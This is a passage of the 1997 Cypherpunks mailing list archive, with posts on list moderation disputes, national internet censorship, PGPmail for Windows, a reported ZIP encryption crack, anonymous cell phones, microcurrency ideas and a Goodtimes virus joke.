Date: Sun, 26 Jan 1997 09:11:27 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701261711.JAA18818@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 26 Jan 1997, Toto wrote:

>   I think that anyone who thinks that moderation is, or could ever be,
> anything other than a dance into the arms of the establishment, is
> already crazy.

Apparently, Toto does not know very much about John or me or our 
relationships with the "Establishment."  It is who are using a
intellectually dishonest smokescreen of "freedom of speech" in 
order to disrupt and hamper the work of Cypherpunks who are 
dancing into the arms of the "Establishment."
 
>   For the record, I don't think that either John or Sandy is crazy.
> I think that they have their own pre-established goals which others
> on the cypherpunks list are not privy to.

I can't speak for John, but my goals have been stated too often
and too completely for anyone not to know them.  I want us all to
have privacy.  The Cypherpunks list was created to facilitate
discussion--and ultimately action by those who were inclined and 
able to do something to further that goal via the use of
cryptographic and other technologies.  I believe that childish
name-calling and personal attacks interferes with rational 
discourse and a spirit of common purpose and community.  

It is obvious to me that those who are waving the bloody flag of
"censorship" are doing so for either of two reasons.  The ones to
whom I am the most sympathetic are those who simply do not have
a clear and coherent understanding of rights in an anarchistic,
volunteeristic society.  

The ones for whom I have no sympathy are those whose obvious 
goal is disruption of the Cypherpunks list and who are hiding
behind a phoney interpretation of "free speech."

I think both of these groups are intellectually dishonest in the
extreme when it comes to telling others how this list should be
run.  I doubt any of them would permit the sort of disruptive
behavior that goes on here to go unchallenged in salons they
sponsor in their own homes or on Net lists that they themselves 
maintain.

This is a voluntary list folks.  We tried incivility and that did
not work.  Right now we are experimenting with reasoned discourse
in an atmosphere of interpersonal respect and good will.  If most
list members like the change, it will continue.  If not, then we
can go back to the swill or perhaps try something else.  In the
meantime, get over it.  If you really like flames and spam, show
John and me how it really should be done.  Start another list.  
Of course squating and claim jumping appeal to the lazy a lot
more than homesteading.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gemini Thunder <gt@kdn0.attnet.or.jp>
Date: Sun, 26 Jan 1997 08:40:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: DataETRsch
Message-ID: <199701261640.IAA18369@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Apparently intimidated by the response from the Cypherpunks
 list, DataETRsch has begun spamming mailing lists with ads for their
 UDCM/IMDMP Windows DLL. It reared its ugly head in
 linux-c-programming@vger.rutgers.edu today.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 09:11:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701261711.JAA18817@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:
(a bunch of sensible stuff)
> .  Many individuals reside within a nation not because they favor its po
> litics, but because they feel more comfortable among their own kind than
> with strangers elsewhere - for example, Chinese who have lived in China all
> their lives (and whose ancestral roots are there) will wish to stay there
> and do what they can within the boundaries of that nation, rather than for
> instance moving to Canada, when the going gets rough.

Also many "un-freer" societies restrict the ability to emigrate, and many
"freer" society restrict the ability to immigrate. It's not so
easy for someone living in Communist China to pick up his ass and go
someplace else, like Taiwan. A large number of people got shot while
trying to cross the Berlin Wall. Plus if they do get out, they may
have difficulty going to countries like U.S. or Canada. (In case anyone
missed it, the U.S. is much more selective about who it lets in as
immigrants than it was earlier in the century.)

> It is true that individuals still live within the physical boundaries of
> "nations" which have formed in the past, and they still hold the concepts
> of these boundaries in their minds and they still identify closely with
> these, and they still vote problems upon themselves.   But it is becoming
> an anachronism, and it is becoming inaccurate to speak of "what
> Singaporians want for the internet".    This phrase would describe many of
> those who live in Singapore, but not all of them.   It is more accurate to
> speak of what  "individuals who use the internet" want, of what
>  "individuals who want to communicate" want, of what  "individuals who want
> to connect with others" want.
>
> The identifications of self as a citizen who must be identified with the
> vote of a majority, and consequently suffer the perception of oneself as
> someone who "voted to accept restrictions of the net, therefore should not
> be helped against it", is becoming irrelevant.   When a distress call goes
> out from someone anywhere on the planet, the assistance and relief may come
> from anyone anywhere who chooses to rally others and provide assistance.
>
> It is not the traditional "we" against "them", and it is not the "citizens
> of the US" helping those who "voted themselves a Hitler into power" or
> "voted themselves into restrictions against free speech".   It is "those of
> us who appreciate the liberty in communications technology" against "those
> who would take it away".

However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
not be permitted on the 'net. It also bombs Iraq and murders their civilians
in retaliation for something their governments supposedly did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Sun, 26 Jan 1997 09:12:34 -0800 (PST)
To: Crypto <cypherpunks@toad.com
Subject: Re: DPT Win 3.xx, 95, NT ENCRYPTION program
Message-ID: <199701261712.JAA18832@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <5cd7ki$52b@news.xs4all.nl> bernard@xs4all.nl Crypto wrote:
Newsgroups: comp.security.misc
* DPT   Win 3.xx,  95,  NT   ENCRYPTION program
* 
* DPT16 or DPT32  total encryption  Windows program.
* 
* Encrypt fast, Files, Dir, Floppys, e-mail, text or Messages .... 
* 
* Key up to 30 Kb,  Hide your encrypted data's in a picture file.
* Direct mail encryption,  Visit the  Data  Privacy  Tools home page.
* 
* at;      http://www.xs4all.nl/~bernard  

Bernard, thanks for an interesting post. I am Cc-ing your message to 
Cypherpunks mailing list which is ostensibly dedicated to discussions
of cryptography.

As follows from info on your home page, you do use simple XOR to
encrypt your data. It was not clear to me though, how do you generate
the keys to encrypt the data. I am sure that many readers of cypherpunks
mailing list will be interested, so please send a copy of your reply
to cypherpunks@toad.com.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 10:40:45 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Toto's database
Message-ID: <199701261840.KAA21206@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> Toto writes:

> >Has anyone actually 'seen' John Gilmore, lately?

> He was at C2Net's party last Friday night (1/24), being interviewed by some
> folks from a Japanese TV program.

It would be interesting if someone could show up at Gilmore's
press conferences to supply an alternative view of Gilmore himself.

Of course, those still clinging to the notion that Gilmore is working
for us might not be comfortable with this idea - biting the hand that
feeds, etc., but I think it could be a good way to keep the moderator
honest.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 15:10:56 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701262310.PAA26784@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sun, 26 Jan 1997, Toto wrote:

> >   I think that anyone who thinks that moderation is, or could ever be,
> > anything other than a dance into the arms of the establishment, is
> > already crazy.

> Apparently, Toto does not know very much about John or me or our
> relationships with the "Establishment."  It is who are using a
> intellectually dishonest smokescreen of "freedom of speech" in
> order to disrupt and hamper the work of Cypherpunks who are
> dancing into the arms of the "Establishment."
[some snip]
> This is a voluntary list folks.  We tried incivility and that did
> not work.  Right now we are experimenting with reasoned discourse
> in an atmosphere of interpersonal respect and good will.  If most
> list members like the change, it will continue.  If not, then we
> can go back to the swill or perhaps try something else.  In the
> meantime, get over it.  If you really like flames and spam, show
> John and me how it really should be done.  Start another list.
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

Actually, it is a certifiable fact that the list subscribers can
jump to the unmoderated list whenever they want to.  It is also a
certifiable fact that they (97% or so) have *not* done so.

Because of these facts, I must conclude that either:

1. The subscribers have spoken by staying put, or,
2. The subscribers are so lazy and unaware of what's going on that
   they've just left things as is.

Now, in my opinion, we've come to this:  Some people here will hold
the optimistic view of the bulk of the subscribers, and others will
hold the pessimistic view (the bulk will presumably be in-between).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 26 Jan 1997 15:10:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: [noise?] Media
Message-ID: <199701262310.PAA26731@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This was forwarded to me.  It was too good not to share...

>"Tonight on tales from Encrypt, we have a ghastly little story involving
>Congress and your Web page."

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 15:12:39 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701262312.PAA26814@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 1/26/97 -0600, Jim Choate <ravage@EINSTEIN.ssz.com> wrote:
>stewart> Nonsense - the net doesn't "belong" to "Singapore or China" -
>
>The part of it that comes out of their pocketbook does. Just like the part of
>'the net' that I pay for belongs to me. The net is a bunch of computers,
>running software, hooked together over cables and other links. Each and
>EVERY ONE of these require installation, upkeep, repair, and utility
>support. This costs money. He who pays the money owns the net, everybody
>else is along for the ride.

For individuals, and voluntary groups of individuals, that's certainly true.
But what about taxpayers involuntarily paying for a network run by
bureaucrats -
does each individual have an equal right to decide what he/she will say
or read on the net, or are some individuals more equal than others?  And if
so, 
why is it the armed thugs who want to censor people who get to be more equal?

It's the usual insoluable problem about how to decide policy for
involuntarily-funded services - the government is morally obligated to
follow the wishes of everybody paying for them, which are in radical conflict.
It's bad enough with schools...  The Arpanet had its Acceptable Use Policy,
which limited speech on goverment-funded parts of the net to non-commercial
use;
one of main drivers behind the Commercial Internet Exchange was to
allow businesses to send each other email without being limited by it.

>ps I also support France's current attempt at forcing the Georgia university
>   web site on French soil to use French.

And then there's the French Telecom Monopoly (until it falls apart) -
if you don't like the rules the bureaucrats make for what you can say or read,
you're not even allowed to build your own telecom network or obtain services 
from providers who don't censor what you can say or read.

And I also don't support the French government's attempt at forcing its own
subjects on French soil to use French.  Asking them nicely, or running
propaganda
against Academically-incorrect French, is something the Academie can do itself.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 09:25:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701261725.JAA19049@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Sun, 26 Jan 1997 03:28:53 -0800
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> At 12:11 AM 1/22/97 -0600, Jim Choate wrote:
> >> Singapore and China are blocking certain net groups. I think
> >> this is a bad thing, question is how can we stop it?
> >
> >'We' shouldn't, it is their own country and it is up to their populace to
> >stop it. Do you really want Singapore or China having a say in how we run
> >our web? I certainly don't, and won't support any move to force any
> 
> Nonsense - the net doesn't "belong" to "Singapore or China" -

The part of it that comes out of their pocketbook does. Just like the part of
'the net' that I pay for belongs to me. The net is a bunch of computers,
running software, hooked together over cables and other links. Each and
EVERY ONE of these require installation, upkeep, repair, and utility
support. This costs money. He who pays the money owns the net, everybody
else is along for the ride.

If we take your argument to its logical conclusion then once a box goes on
the net it belongs to nobody/everybody. Clearly utter nonsense.

If you really and truly believe that the net belongs to everyone and nobody
has a right to limit or otherwise control the hardware and software along
with the associated comm links they own and pay for then you obviously don't
understand what is going on.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com


ps I also support France's current attempt at forcing the Georgia university
   web site on French soil to use French.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 15:10:59 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701262310.PAA26793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:45 AM 1/26/97 -0500, Duncan Frissell wrote:
>Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
>http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and 
>Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at:
http://www.eudora.com/prodemo/.

PGPmail 4.5 now has beta 10 available - the download is smaller than beta 9.

Eudora Lite 3.0.1 also supports plugins, so it should work.
It also supports filters, which has allowed probable flames to
quietly vanish from my inbox :-)

BTW, from a non-government-user perspective, the questions asked to establish
export permission are nicely worded.  Rather than asking
"Are you a US Subject", and "Do you agree to follow every vague
detail of the Export Laws", as some sites do, it asks
> - Is the requesting computer located within the United States? [N/Y]
> - Do you acknowledge affirmatively that you understand that PGPmail is 
> subject to export controls under the Export Administration Act and 
> that you cannot export the software without a license? [N/Y]
> - Do you certify that you are not on any of the United States Government's 
> lists of export-precluded parties or otherwise ineligible to receive this 
> transfer of cryptographic software subject to export controls under the 
> Export Administration Act? 
and then has a button saying 
	"I certify that the above answers are truthful",
which is flexible enough that I don't have to feel bad about not being
_absolutely_ certain that my packets aren't getting routed through Canada,
or that I'm not on some list that bans telephone company employees from 
downloading cryptographic software on Tuesdays, or whether 
computers 30 feet above the US are subject to this week's export rules :-),
or having to say "No" to Question 2 because I understand that you _can_
export this software without a license (just do it) even though the Feds
disapprove....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 26 Jan 1997 09:10:38 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP disks
Message-ID: <199701261710.JAA18727@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
| At 11:40 AM 1/25/97 -0500, Adam Shostack wrote:
| >
| >Paul Kocher announced that he has cracked it, and can recover data
| >quickly.  He is not publishing details of the break.
| 
| Why?

	Probably to make money.  Paul does do this for a living.  Even
if he hasn't cracked it, the ZIP protection mechanism is propreitary
and exportable.


Adam
 
-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 26 Jan 1997 09:10:53 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701261710.JAA18777@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:27 PM 1/25/97 -0800, Steve Schear wrote:
>>> Presented in a "this will help 911" context. Still disconcerting.
>>>
>>> [...]
>>> Companies working on the technology to track cellular phone calls
>>> have been given additional incentive with a Federal Communications
>>> Commission order that all cell phone service companies have location
>>> programs in place by the year 2001.
>>> [...]
>>
>
>Looks like this might create an opportunity for 'anonymous' cellular rentals.
>
>--Steve

Anonymous cellular accounts have been available in NYC for a year or so.  See any copy of the Post or the Daily News for the ads.  A similar service just started in Mexico City according to the NYT.  

You call the company and order the phone for circa $249.00 C.O.D.  This includes one hour of calls.  Subsequent hours are purchased for $36.  Not cheap but anonymous.  No roaming either.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuuHDIVO4r4sgSPhAQFKjwQAoYOpb6t/L3/ah6yN7bMnwlTXX34q7yLC
ECW8R7QzZsvZoHd9LxwN38DrvHsCmyot+xWwF/Drixupen8ydJz9yXcmSpddeYM6
r8mmvQcA27YmNID6LF4iAh1Z7gqYu1iUyIaxEE6WhPN1cAEobJn9x3rFVV1dpouC
Y88L4vFRo+I=
=acJo
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 26 Jan 1997 09:10:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail for Windows, Version 4.5
Message-ID: <199701261710.JAA18785@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at: http://www.eudora.com/prodemo/.

It is easy to use.  I just installed it and pointed it at my old pubring.pgp and secring.pgp files and went to work.  All my messages have been signed since then and some have been encrypted.  The installation program found my existing copies of Eudora and Netscape and installed the PGP add in without any fuss.

My only problem was finding the controls for the add in which (in the case of Eudora) consist of buttons to encrypt, sign, bring up the program, insert a copy of your key, and actually modify the message.  The controls only appear on the message create, and message read windows.

Easy to use.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuuKMYVO4r4sgSPhAQFfzAP+LkDjOecHxz0iEVVggLLABxAOE9tVyOLl
AIkKlagFqK+lBboo7fETCZtSpmDHcNsJG6Et6BWO5aYf7Artw+jXj+734c+w4RWj
zcj6+351LUqT60TmcukH02p2MT0sd8w1dAnhD8+o1E13G5h5N1CF/p6KQjmHOiQ6
9T1ehMax0jE=
=E8Pu
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 10:25:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet, Countries, Nationalism, etc.
Message-ID: <199701261825.KAA20690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

blanc has put forth an interesting assertion relating to nationalism and the
Internet. If he is correct then we will have a one world government (ie
technocracy) whether we like it or not.

I agree with this assertion, which is why I hold that it is a waste of
bandwidth trying to 'control' the Internet or access thereof by citizens of
such countries as Singapore. Let them cut themselves off, it does us all a
service, and themselves a dis-service. If the citizens have as much
dissatisfaction as some members claim they will take care of it themselves.
When they get hungry for ideas, materials, and food they will change.

You can take a horse to water, you can't make him drink. You can drown him
however. Then you are walking, not riding.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 15:26:29 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701262326.PAA27239@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:05 PM 1/18/97 -0800, Vladimir Z. Nuri wrote:
>I predict that microcurrency will not catch on in a big way
>until it is integrated with browsers, and when it is, it
.....
>the idea would also be to invent some new html tags that
>indicate the charge on a link. the charge is incurred when
.....
>of time before some enterprising programmers plug it all
>together in an easy to use way. (as far as I know the
>Digicash software is not easily integrated with any browser,
>am I correct?)

The Digicash software wasn't terribly easy to integrate with _anything_,
but folks like Lucky Green have been banging on them to define and
release their interface specs, and there's a library called -lucre
that will do the Digicash functions.  A few months ago, Ian 
demonstrated a Digicash-compatible plugin at one of our Bay Area
cypherpunks meetings (with blinding removed for patent reasons.)

I don't know about BorgBrowser, but with Netscape, you can implement
non-built-in features as either a plug-in or as a helper application;
no need to mess with the HTML spec in yet another browser-specific manner.

You can also wedge things in using cookies (though their are non-cookie-aware
browsers and people who turn their browsers off) which could work well for
lower-security microcurrencies.  For instance, connecting to 
http://newspaper.com/cookie-store.html could take your credit card with SSL
and give you a cookie with 100 or 1000 credits using some S/Key-like
mechanism,
and each time you read a news page it would decrement by one.  To avoid
fraud (people resetting their cookie files) the newspaper would have to
track cookie use, but they may be tracking who's reading what anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 26 Jan 1997 15:26:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701262326.PAA27191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



It really does rock.  I owned Eudora 3 already, but if I didn't I would
purchase it for using PGPmail alone.

Another great feature of PGPmail is that it adds PGP functionality to the
Windows Explorer.  When you right-click on a file in Windows, a PGP
submenu is added to the normal right-click menu, allowing you to encrypt,
decrypt, etc. 

This product really has the ease of use that is needed to get PGP more
into the mainstream.  Like Duncan, I found it very easy to incorporate my
existing keyrings.  I'm very impressed.

I haven't tried it with NT 4.0 yet, and don't know how well it works.  I
run the same copy of Eudora with 95 and NT, so I'm assuming it will be
fine...


Rich

_______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb/
See my Blue Ribbon Page at http://www.teleport.com/~richieb/blueribbon/
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 26 Jan 1997 15:12:36 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701262312.PAA26813@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Regardless of which side you take on this matter, remember that the issue 
was forced by the actions of an extremely small segment of the list 
"population." 

The decision of that small segment to excercise its rights "in extreme" 
passed the tolerance thresholds of increasing numbers of list members, 
and the end result was a "restriction" adopted/elected/forced-on (colour 
it however you chose) on the entire "population."

"Rights" are derived from social responsibility; its either that, or the 
"law of the jungle."

-r.w.


On Fri, 24 Jan 1997, Dale Thorn wrote:

> Cynthia H. Brown wrote:
> > Beauty, flames and censorship are all in the eyes of the beholder.
> > However, by providing both "raw" and "cooked" versions of the list, Sandy

<SNIP>

> I apologize for intruding, Cynthia, but I have a question about "doing
> as s/he sees fit".  For example, what is the list?  Is it the equipment,
> is it the software that runs on the equipment, or is it the contents of
> the list (my writings, your writings, etc.)?  If I had to rank them, I
> would rank the contents as being more important than the equipment or
> the software.  That said, how can those contents be considered the
> property of the list owner/manager to do with as they see fit?
> 
> I do understand that they have the right to manage the list as they see
> fit, and to move the messages into whatever buckets seem appropriate,
> but your phrasing suggested more to me, and I'm puzzled by it.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 15:26:32 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701262326.PAA27241@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Dr.Dimitri Vulis

However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
not be permitted on the 'net. It also bombs Iraq and murders their 
civilians
in retaliation for something their governments supposedly did.
................................................................


The U.S.G. has many more resources than most of us to do these things, 
including equipment, cooperative troops, money, and recognition from other 
governments.   If other nations disagree with the U.S.G. they have the 
resources to discuss, bargain, negotiate, criticize, form alliances, take 
their chances and retaliate, etc.

These things are done on a level not accessible to the most of us.  All 
that we individuals have are access to telephone lines, computers, and 
modems.   Yet even as we speak the world is being "wired" with cables to 
further make this singular communication possible and open up avenues to 
non-government organized activities:   international corporations are se  
tting up offices, services, and correspondence wherever in the world they 
can find markets.   All this is happening even while the governments are 
complaining to each other about what their citizens are posting (tch, tch) 
and threatening to deprive each other of that privilege.

While governments and their True Believer citizens are dealing with each 
other on one level, the rest of the world is reorganizing itself into a 
different order of living and doing business.   They are sharing ideas and 
examining their concepts and beliefs, they are conducting a lot of their 
disagreements on the net (instead of physically against each other on the 
ground), opening up to a broader view of relationships between individuals, 
or to governments, or to religions, sexuality, etc.

The situation hasn't completely changed yet,  but it is in process.

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Sun, 26 Jan 1997 15:12:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor
Message-ID: <199701262312.PAA26812@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Watch out for the Goodtimes Virus

Goodtimes will re-write your hard drive, scramble any disks that are even
close to your computer, recalibrate your refrigerator's coolness setting so
all your ice cream goes melty,demagnetize the strips on all your credit cards,
screw up the tracking on your television and use subspace field harmonics 
to scratch any CD's you try to play.

It will give your ex-girlfriend your new phone number. It will mix
Kool-aid into your fishtank.  It will drink all your beer and leave
its socks out on the coffee table when there's company coming over.
It will put a dead kitten in the back pocket of your good suit pants
and hide your car keys when you are late for work.

Goodtimes will make you fall in love with a penguin.  It will give you
nightmares about circus midgets.  It will pour sugar in your gas tank
and shave off both your eyebrows while dating your current boyfriend
behind your back and billing the dinner and hotel room to your Visa
card.

It will seduce your grandmother.  It does not matter if she is dead,
such is the power of Goodtimes, it reaches out beyond the grave to
sully those things we hold most dear.

It moves your car randomly around parking lots so you can't find it.
It will kick your dog.  It will leave libidinous messages on your
boss's voice mail in your voice!  It is insidious and subtle. It is
dangerous and terrifying to behold.  It is also a rather interesting
shade of mauve.

Goodtimes will give you Dutch Elm disease.  It will leave the toilet
seat up.  It will make a batch of Methamphetamine in your bathtub and
then leave bacon cooking on the stove while it goes out to chase
gradeschoolers with your new snowblower.

These are just a few signs...  Just be very careful!

CI





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Sun, 26 Jan 1997 15:10:41 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Encrypting ZIP disks
Message-ID: <199701262310.PAA26737@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Proving a crack with revealing how is trivial.
Someone sends Paul cyphertext; he returns clear.

Proving the opposite without posting the code is a joke.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 26 Jan 1997 15:25:53 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Cellular phone triangulation
Message-ID: <199701262325.PAA27154@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>   Our prisons are overflowing with drug dealers and drug users who were
> put there by quite ordinary means which didn't involve violating or
> discarding the rights of the ordinary citizen.  Yet we keep hearing

    Wanna bet? 

> do so.
>   Not to mention larger and larger amounts of money.
>   But, maybe if you became a 'drug dealer'...

    I'd rather become an "arms dealer".
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 26 Jan 1997 15:26:30 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701262326.PAA27240@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > getting this degenerate disease when they get older.  Check out the
> > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > One quote:  "My soil after a few years was like asbestos".
> As far as I understand, 1) no one really understands why cancer rates
> are up so much and 2) since people live longer, they are more likely do
> have cancer.

   While I don't claim to to be a Medical Researcher, I think that 1) should
be reworded to be "No one is willing to _admit_ why cancer rates are up so
much". You (generic) can look at certain population groups where there is 
low incidence(sp?) of cancer, and then look at our society and it becomes
pretty obvious. 

   Breast Cancer is exteremely rare in japenese women living in Japan. Thes
same women <excuse me while I light a cigerate> move to the US, start living
like American start developing breast cancer at a rate very similar to that
of American born women. 

   IMO the biggest reason that "no one really understands why cancer rates are
up..." is that "they" are looking for the single bullet when reality isn't 
usually that simple. 

   I would be willing to make a bet that if you could get a large population
group to do the following, you would see a large statistical reduction in the 
incidence(sp?) of cancer.

	1) Eat a lot of fruits, vegetables & breads and cerials. Stay away from
large quantities of meat. Try to reduce your fat intake to under 20 grams a 
day (USDA recommends around 40) 

        2) Exercise regularly. Ride a bike or walk/run to work. 

	3) Avoid excess in all things. 

> What you said is one of the hypotheses. I personally feel that
> environment and bad greasy food are other major contributors.
> The way they cook all these fries, with overheated grease, is very
> bad.

     BINGO!. 

     Sorry, gotta go, it's dinner time and McD's is calling...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
